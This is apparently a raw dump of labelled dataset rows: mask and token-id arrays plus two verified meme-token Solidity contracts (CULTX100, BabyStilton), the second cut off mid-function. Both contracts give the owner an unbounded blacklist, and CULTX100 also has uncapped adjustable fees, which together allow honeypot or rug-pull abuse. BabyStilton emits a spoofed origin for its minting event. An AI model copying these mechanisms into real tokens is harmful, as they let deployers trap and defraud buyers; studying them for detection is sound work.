1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2022-04-02
*/
/*
CULTX100 - The Next 100X.
Telegram: https://t.me/CULTX100
Twitter: https://twitter.com/CULTX100
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract CULTX100 is Context, IERC20, Ownable {///////////////////////////////////////////////////////////
using SafeMath for uint256;
string private constant _name = "CULT X100";//////////////////////////
string private constant _symbol = "CULTX100";//////////////////////////////////////////////////////////////////////////
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnBuy = 10;//////////////////////////////////////////////////////////////////////
//Sell Fee
uint256 private _redisFeeOnSell = 0;/////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnSell = 10;/////////////////////////////////////////////////////////////////////
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xa9b67c31B0EEBDb978d9A31da3F4e9b85cb8fC0E);/////////////////////////////////////////////////
address payable private _marketingAddress = payable(0xa9b67c31B0EEBDb978d9A31da3F4e9b85cb8fC0E);///////////////////////////////////////////////////
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 200000 * 10**9; //2%
uint256 public _maxWalletSize = 200000 * 10**9; //2%
uint256 public _swapTokensAtAmount = 40000 * 10**9; //.4%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
5840,
1011,
6185,
1008,
1013,
1013,
1008,
8754,
2595,
18613,
1011,
1996,
2279,
2531,
2595,
1012,
23921,
1024,
16770,
1024,
1013,
1013,
1056,
1012,
2033,
1013,
8754,
2595,
18613,
10474,
1024,
16770,
1024,
1013,
1013,
10474,
1012,
4012,
1013,
8754,
2595,
18613,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1018,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
1065,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
4604,
2121,
1010,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
3206,
2219,
3085,
2003,
6123,
1063,
4769,
2797,
1035,
3954,
1025,
4769,
2797,
1035,
3025,
12384,
2121,
1025,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
3025,
12384,
2121,
1010,
4769,
25331,
2047,
12384,
2121,
1007,
1025,
9570,
2953,
1006,
1007,
1063,
4769,
5796,
5620,
10497,
2121,
1027,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1025,
1035,
3954,
1027,
5796,
5620,
10497,
2121,
1025,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
1006,
1014,
1007,
1010,
5796,
5620,
10497,
2121,
1007,
1025,
1065,
3853,
3954,
1006,
1007,
2270,
3193,
5651,
1006,
4769,
1007,
1063,
2709,
1035,
3954,
1025,
1065,
16913,
18095,
2069,
12384,
2121,
1006,
1007,
1063,
5478,
1006,
1035,
3954,
1027,
1027,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1010,
1000,
2219,
3085,
1024,
20587,
2003,
2025,
1996,
3954,
1000,
1007,
1025,
1035,
1025,
1065,
3853,
17738,
17457,
12384,
2545,
5605,
1006,
1007,
2270,
7484,
2069,
12384,
2121,
1063,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
1035,
3954,
1010,
4769,
1006,
1014,
1007,
1007,
1025,
1035,
3954,
1027,
4769,
1006,
1014,
1007,
1025,
1065,
3853,
4651,
12384,
2545,
5605,
1006,
4769,
2047,
12384,
2121,
1007,
2270,
7484,
2069,
12384,
2121,
1063,
5478,
1006,
2047,
12384,
2121,
999,
1027,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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2022-02-14
*/
/**
██████╗░░█████╗░██████╗░██╗░░░██╗ ░██████╗████████╗██╗██╗░░░░░████████╗░█████╗░███╗░░██╗
██╔══██╗██╔══██╗██╔══██╗╚██╗░██╔╝ ██╔════╝╚══██╔══╝██║██║░░░░░╚══██╔══╝██╔══██╗████╗░██║
██████╦╝███████║██████╦╝░╚████╔╝░ ╚█████╗░░░░██║░░░██║██║░░░░░░░░██║░░░██║░░██║██╔██╗██║
██╔══██╗██╔══██║██╔══██╗░░╚██╔╝░░ ░╚═══██╗░░░██║░░░██║██║░░░░░░░░██║░░░██║░░██║██║╚████║
██████╦╝██║░░██║██████╦╝░░░██║░░░ ██████╔╝░░░██║░░░██║███████╗░░░██║░░░╚█████╔╝██║░╚███║
╚═════╝░╚═╝░░╚═╝╚═════╝░░░░╚═╝░░░ ╚═════╝░░░░╚═╝░░░╚═╝╚══════╝░░░╚═╝░░░░╚════╝░╚═╝░░╚══╝
TG: https://t.me/BabyStiltonPortal
*/
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BabyStilton is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "BabyStilton";
string private constant _symbol = "BABYSTILTON";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x4D575bcf546adde1864D85cc96505187E64afc76);
_feeAddrWallet2 = payable(0x4D575bcf546adde1864D85cc96505187E64afc76);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0xd55FF395A7360be0c79D3556b0f65ef44b319575), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
